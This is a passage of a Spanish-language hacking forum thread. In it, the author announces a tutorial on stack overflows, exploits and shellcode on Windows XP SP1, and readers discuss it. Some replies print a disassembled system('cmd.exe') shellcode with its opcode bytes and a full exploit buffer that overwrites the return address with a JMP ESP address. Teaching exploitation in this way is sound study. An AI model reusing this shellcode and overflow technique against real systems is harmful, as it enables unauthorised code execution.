Páginas: [1] 2 3 4
|
 |
|
Autor
|
Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos (Leído 19709 veces)
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
El texto es una introduccion al codeo de exploits sencillos, codeo de shellcodes sencillas, y explicar paso a paso el porque de un stack overflow, todo en Windows. Concretamente, los ejemplos fueron testeados en un Windows XP SP1. Creo que no contiene errores graves, pero si los contiene, o cualquier otra cosa, no dudeis en decirmelo  El texto ha sido redactado por mi, con faltas o sin ellas, con explicaciones enrevesadas, con errores en definiciones, en fin, no sera el mejor texto redactado que hay sobre el tema, ni el unico  pero me ha gustado redactarlo, y con que ayude a una sola persona, y me de las gracias por email, privado o en el foro, me vale  Sinceramente, me ha costado hacerlo (sobre todo tiempo), solo espero que os guste y lo aprovecheis para profundizar mas en el tema. Mi texto es solo la punta del iceberg  Esta como archivo adjunto, para descargarlo, hay que estar registrado  (cosas del admin)  O sino, usar este mirror: http://www.telefonica.net/web/espaiwebfacultat/Exploits%20y%20Stack%20Overflows%20en%20Windows.zip Es un texto en formato TXT, a 17 columnas, no creo que haya ningun problema en verlo en cualquier visualizador en cualquier sistema. Puede que en el futuro, se saque en PDF, pero creo que esta mucho mejor en TXT, formato ezine  Salu2, espero vuestros comentarios
|
|
|
|
« Última modificación: 12 Agosto 2008, 16:19 por sirdarckcat »
|
En línea
|
|
|
|
|
|
fandango
Another
Colaborador
Desconectado
Mensajes: 1.881
Powered By Slackware!
|
Muy bueno el texto rojodos! 
|
|
|
|
|
En línea
|
|
|
|
zhyzura
Sie sind nicht wie die anderen
Colaborador
Desconectado
Mensajes: 2.123
"dieses ist es unsere Welt"
|
pues mira que te la has curao con este texto  . en lo personal me gusto bastante, quizas como tu lo dices sea una breve explicacion sobre el shellcoding pero te sirve bastante para cuando te quieres iniciar en esta rama del hacking. enhorabuena Rojodos por tu texto, sigue asi  zaludox
|
|
|
|
|
En línea
|
- - -->> Sie urteilen zu uns seiend unterschiedlich <<-- - - unser Durst des Wissens ist unersättlich
|
|
|
|
krispin
|
tremendo rojodos!!!mu bueno. solo una duda de principiante: cuando creas la shellcode, porque pones: sub esp,04h dices que para introducir cmd.exe pero este es de 8?¿?¿?¿ se que es una tonteria, pero bueno... txao
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Bueno, gracias a un oportuno aviso, ha sido subsanado un error en la shellcode  Sabia yo que tenia un error  En fin, solo decir que he cambiado el texto, para descargarselo de nuevo... es lo que tiene escribir un texto tan largo, no puedes esperar a que te salga perfecto la primera vez. Salu2
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Antes del sub esp,04h, solo teniamos espacio para 4bytes.
"cmd.exe0" --> 8 caracteres, 8 bytes
El "0" de fin de cadena tambien cuenta, y es muy importante, sino system no sabe donde acaba el comando.
Por eso necesitabamos 4bytes mas.
Se puede hacer la shellcode que haga solo System("cmd0"), con lo que la shellcode seria mucho mas corta, no habria que sustraer nada a ESP (solo ocupa 3bytes+1byte del 0), y solo habria que introducir 3 letras (esa es la que he usado en el exploit de Acrobat Reader) pero me parecio mucho mas didactico ponerlo completo, y asi ver el porque del sub esp,04h.
Salu2
|
|
|
|
|
En línea
|
|
|
|
whaky
Desconectado
Mensajes: 150
Angel del Infierno
|
se ve muy bueno, lo leere con calma. muxas gracias rojodos
|
|
|
|
|
En línea
|
Los muertos hablan y las paredes oyen por si acaso nunca reveles tu identidad.
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
|
|
|
|
|
En línea
|
|
|
|
PK2
Desconectado
Mensajes: 9
¡Amo YaBB SE!
|
El texto está muy bueno Rojodos, ya había leído varios artículos sobre el tema y este me pareció el mejor y más claro. Solamente tengo algunas dudas.
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ Primero unas aclaraciones (por las dudas): estoy compilando con visual C ++ 6.0 y los (todos) offset (por ejemplo el que encontrás con Findjmp.exe - 0x77F8980F-) son iguales a los de mi máquina.
???????????????? Aclarado esto paso a las consultas:
1ro: “Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD...
Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y ejecutara nuestra shellcode.”
Esto dice tu manual, a mí me aparece 52525252 en lugar de 54545454 (RRRR) no se porque difiere, pero me parece más lógico ya que el array que declaraste en el programa vulnerable (char buffer[64]; //Declaramos un array con 64 bytes de espacio) es de 64 bytes, y al estar usando 4 caracteres por letra (AAAABBBB….) me parece que efectivamente debería saltar en RRRR por que 64 dividido en 4 = 16 y la letra 16 es “Q” por lo tanto la que sigue sería la que lo haría revalsar (R). ???
2do. En tu manual:
“0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode 0040B4ED |. 8BEC MOV EBP,ESP 0040B4EF |. 33FF XOR EDI,EDI 0040B4F1 |. 57 PUSH EDI 0040B4F2 |. 83EC 04 SUB ESP,4 0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63 0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D 0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64 0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E 0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65 0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78 0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65 0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0040B514 |. 50 PUSH EAX 0040B515 |. BB 4480BF77 MOV EBX,77BF8044 0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode”
A mi esto me que da igual solo que el opcode que vos escribís es “55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3” y el que yo interpreto es “55 8B EC 33 FF 57 83 EC 08 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB 44 80 BF 77 FF D3” no se si entendí mal que se obtiene el opcode o que es lo que pasa?
3ro. No entiendo por que hace falta que busquemos un JMP ESP para hacerlo saltar a 55555555 y no directamente desde 54545454 lo hacemos saltar a nuestro opcode.
Calculo que por algo de lo anterior es que no funciona mi exploit, cuando lo ejecuto me sale LO QUE ESCRIBISTE "Cadena más offset...." abajo la cadena "AAAABBBB...." hasta la letra Q que es lo que yo puse y com 30 caracteres muy extraños más, seguramente basura de la memoria (creo).
Ya probé todas las modificaciones que se me ocurrieron.
Gracias, y lo repito, muy buen manual.
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Aclaracion: Los offsets del jmp esp o del system.msvcrt.dll no tienen que ver con el compilador, sino con tu sistema. Por lo que me cuentas, al ser el mismo que el mio, tendras un Windows XP SP1 Español. Al tener el mismo SO, con el mismo SP, y con el mismo lenguaje, tenemos las mismas librerias (salvo excepciones que no vienen al caso) y por tanto, los mismos offsets 1º: Se perfectamente porque pasa eso  . El programa vulnerable yo lo compile con el Dev Cpp, que esta basado en el "motor" del GCC. El compilador, por temas de alineamiento, añade algunos bytes a cada variable a la hora de compilar, segun su tamaño. Existe por ahi una tabla (estoy seguro de haberla visto) que te calculaba exactamente los bytes de alineamiento que producia. Obviamente, el compilador de VC++ es distinto, y no añade dichos bytes de alineamiento, con lo que el buffer es mas pequeño. 2º AGH XDDDDDDDDDDD Los opcodes que pongo, son de una shellcode "mini", que solo hacen un system("cmd") en vez de system("cmd.exe"), vaya fallo :p xDDDDDDDDD Es que al principio, pense en hacerla simple, pero luego me arrepenti, hize la "larga", pero no cambie los opcodes. Los opcodes correctos son los que tu pones, pero ambos funcionan, asi que no lo voy a cambiar (ya he cambiado una vez el texto  ). Que fallo xDDDD Gracias por decirmelo  3º: Ten en cuenta que el RET sobreescrito tiene que ser UNA DIRECCION, no una instruccion. Es decir, si pones una instruccion NOP (la instruccion NOP simplemente hace que el procesador no haga nada y salte a la siguiente instruccion), en opcode seria 0x90, el ret quedaria sobreescrito asi: 90909090 Pero, en vez de ejecutarse los 4 NOPs, lo que pasa es que EIP trata de ejecutar lo que haya en la direccion 90909090. El ret sobreescrito tiene que ser SIEMPRE una DIRECCION. Lo entiendes? Me alegra que te guste el texto  Cualquier duda, ya sabes  Salu2
|
|
|
|
|
En línea
|
|
|
|
|
Griph
|
El texto está bien. Sobre todo el método de didáctica que usaste, lo digo por explicar unas cuantas cosas con el debugger a mano, me parece que es una buena forma de fundamentar la teoría y práctica. A pesar de que el texto está muy explicado, yo le recomendaría a cualquiera que quiera comenzar con el tema de los exploits y las shellcodes que aprenda bien ensamblador (fundamentalmente este lenguaje) y C; de otra forma a pesar de que una persona con conocimientos nulos de programación ensamblador lea textos muy explicados como éste, se le dificultará bastante la comprensión (hay que aprender a programar bien primero). Para quien quiera saber más o menos de que se trata este texto, aquí le dejo un mini índice (me parece que te olvidaste de esa parte Rojodos, lo podrías agregar así organizas un poco mejor tu texto  ). -== Introducción. ==- - C/C++ - Ensamblador (ASM) - Debugger (Depurador) - Dissasembler (Desamblador) - Hex Editor (Editor Hexadecimal) - La CPU (microprocesador) - Registros de la CPU. - ¿Que es una vulnerabilidad? - ¿Que es un exploit? - ¿Que es una shellcode? - ¿Que es un overflow? - ¿Porque se le llama Stack Overflow? -== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==- -== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==- -== COMO HACER UNA SHELLCODE BASICA ==- -== CREANDO EL EXPLOIT ==- -== DOCUMENTACION ==- -== AGRADECIMIENTOS ==-
Saludos, Griph.
|
|
|
|
« Última modificación: 19 Febrero 2005, 11:10 por Griph »
|
En línea
|
|
|
|
PK2
Desconectado
Mensajes: 9
¡Amo YaBB SE!
|
Primero: entendí muy bien las explicaciones que me diste anteriormente Rojodos. Gracias. Pero siguo sin poder hacer funcionar el exploit. Para tratar de resolverlo estoy usando el OllyDbg y como argumento le estoy pasando la cadena evilbuffer de tu exploit. Le estoy pasando esto como argumento:
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL MMMMNNNNOOOOPPPPQQQQ\x0F\x98\xF8\x77\x55\x8B\xEC\x33 \xFF\x57\x83\xEC\x08\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6 \x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD \x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77 \xFF\xD3"
Quería saber si esta manera de probarlo es correcta, ya que el programa llega a una instrucción en la que se clava, osea siguo apretando F7 si no avanza ni una intrucción, como que ejecutara la misma. Gracias.
|
|
|
|
|
En línea
|
|
|
|
®®
Colaborador
Desconectado
Mensajes: 5.268
|
fijate que valor tiene eip y sabras si esta sobreescrito o no.
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1] 2 3 4
|
|
|
|